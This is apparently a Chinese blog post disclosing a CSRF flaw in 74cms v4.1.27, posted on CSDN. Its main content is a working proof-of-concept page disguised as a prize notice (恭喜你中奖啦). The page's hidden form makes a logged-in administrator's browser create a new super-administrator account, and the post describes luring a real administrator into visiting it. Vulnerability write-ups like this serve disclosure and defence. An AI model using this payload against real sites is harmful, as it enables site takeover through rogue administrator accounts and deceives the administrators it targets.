74cms CSRF漏洞可以诱骗添加管理员

最新推荐文章于 2024-05-21 08:50:02 发布

0xzmz

最新推荐文章于 2024-05-21 08:50:02 发布

阅读量2.3k

点赞数 1

分类专栏： php 文章标签： 74cms cms 漏洞 csrf

本文链接：https://blog.csdn.net/lfzhumengzhe/article/details/62887449

版权

php 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

注:本文章只是简单的发现了74cms[骑士cms] v4.1.27添加管理员时产生的CSRF漏洞

1.正常情况下，管理员会登录后，进入到【系统】-【网络管理员】-【添加管理员】中，进行添加管理员。

填写好相关数据后，管理员正常进行添加。然后我们看看抓取到的数据

然后我尝试伪造一个假页面，内容如下：

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>恭喜你中奖啦</title>
</head>
　　<body>
	<img src="img/bonus.jpg"/>
	　　　　<form action="http://www.a.com/cms/index.php?m=admin&c=admin&a=add" method="POST" id="transfer" name="transfer">
　　　　　　　　<input type="hidden" name="username" value="test_hi">
　　　　　　　　<input type="hidden" name="email" value="test@test.com">
　　　　　　　　<input type="hidden" name="password" value="admin">
　　　　　　　　<input type="hidden" name="repassword" value="admin">
　　　　　　　　<input type="hidden" name="role_id" value="1">
　　　　　　　　<input type="hidden" name="submit3" value="添加">
		<button type="submit" value="Submit">进入领取</button>
　　　　　　</form>
　　</body>
</html>

显示效果如下图：

然后我们诱骗真实的管理员在登录后，去访问这个页面。